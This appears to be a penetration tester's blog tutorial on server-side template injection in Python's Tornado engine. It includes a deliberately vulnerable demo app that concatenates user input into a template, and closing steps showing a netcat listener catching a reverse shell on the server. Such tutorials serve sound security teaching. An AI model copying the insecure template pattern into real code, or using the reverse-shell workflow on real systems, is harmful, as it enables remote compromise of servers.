In Blog

Today, let’s talk about template engines and the resulting vulnerabilities, the service side template injection attacks. In this post, we will discuss some security concerns regarding the use of template engines in modern Web applications.

1 – What’s a template engine?

Template engines are becoming more and more common in modern Web applications.

Basically, used to populate some dynamic data into web pages, it helps in separating data processing logic and presentation code into two distinct parts.

This separation makes the code easier to modify and maintain and allows developers to produce desired content types. The template is created one time by developers and processed by a template engine where the desired information is inserted into the template tag blocks.

The uses are varied such as displaying information about users, products or even bulk emails for marketing applications and are commonly implemented by Wikis, CMS, and other blog services.

Java (freemarker, Velocity), PHP (smarty, twig), python (Jinja, tornado), ruby (Liquid) have a templating engine and many other languages use libraries to do this kind of work [1].

2 – What’s a template injection?

James Kettle (portSwigger) introduced for the first time this vulnerability during Blackhat 2015. If it is not already done, I invite you to read his great post blog about it [2].

A template injection may occur when an untrusted input is concatenated to a template file without being passed as context to a render method. Either implemented on purpose or by error, developers may introduce this kind of vulnerability within their Web applications.

SSTI attacks can be often mistaken with XSS vulnerabilities. From a pen tester point of view, the XSS attack is well-known and often straightforward to exploit but the SSTI vulnerability can be missed it. The risk is all the greater in that it may lead to an arbitrary remote code execution.

3 – The mission:

Enough with the theory, let’s move on to practice. We are going to use the following proof of concept code written in python to illustrate this vulnerability [3].

import tornado.ioloop
import tornado.web
import tornado.template


class MainHandler(tornado.web.RequestHandler):
    def get(self):
        TEMPLATE = '''
<html>
  <head>
    <title>SSTI POC</title>
  </head>
  <body>
    

<h2>
      Hello %s !
    </h2>


  </body>	
</html>
''' % (self.get_argument('param', ''))
        t = tornado.template.Template(TEMPLATE)
        self.write(t.generate())


if __name__ == "__main__":
    application = tornado.web.Application([(r"/", MainHandler),],debug=True)
    application.listen(8888)
    tornado.ioloop.IOLoop.current().start()

Let’s walk through James’ methodology by firing up the tornado application and see what it looks like:

So, we have an input parameter that prints the result into the template.

The first thing to do, it’s to identify if the template engine is vulnerable or not.

A simple mathematical operation can be used for this purpose:

This operation is evaluated and get back to the client. We’ve got something interesting. Let’s continue our investigation.

Based on tornado documentation [4], we learn that expressions are surrounded by double curly braces like this {{python expression}}, evaluated and got back to the client. Any python expression can be put in it. By looking into further documentation, we also learn that we can surround python modules by using the following template directive {% import module %}.

We know now exactly what we have access to. From what we have learned, the next step leads us to craft an exploit. Without too much difficulty, we got a remote code execution.

Finally, gaining control over the service is just a matter of time. Let’s complete the total compromise with a remote shell:

Don’t forget to fire up a netcat listener on your local machine:

gdieu:~ admin$ ncat -v -l -p 4444

Ncat: Version 7.00 ( https://nmap.org/ncat )

Ncat: Listening on :::4444

Ncat: Listening on 0.0.0.0:4444

Ncat: Connection from 192.168.0.107.

Ncat: Connection from 192.168.0.107:39342.

$ id

uid=1000(gdieu) gid=1000(gdieu) groups=1000(gdieu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)

 

Mission accomplished, we got a remote shell on the vulnerable server. That’s all for this time!

Gérôme Dieu, OSCP

IT Security Consultant

___________________________________________________

[1] https://en.wikipedia.org/wiki/Comparison_of_web_template_engines

[2] http://blog.portswigger.net/2015/08/server-side-template-injection.html

[3] https://opsecx.com/index.php/2016/07/03/server-side-template-injection-in-tornado/

[4] http://www.tornadoweb.org/en/stable/template.html?highlight=templating#syntax-reference

Leave a Comment

Start typing and press Enter to search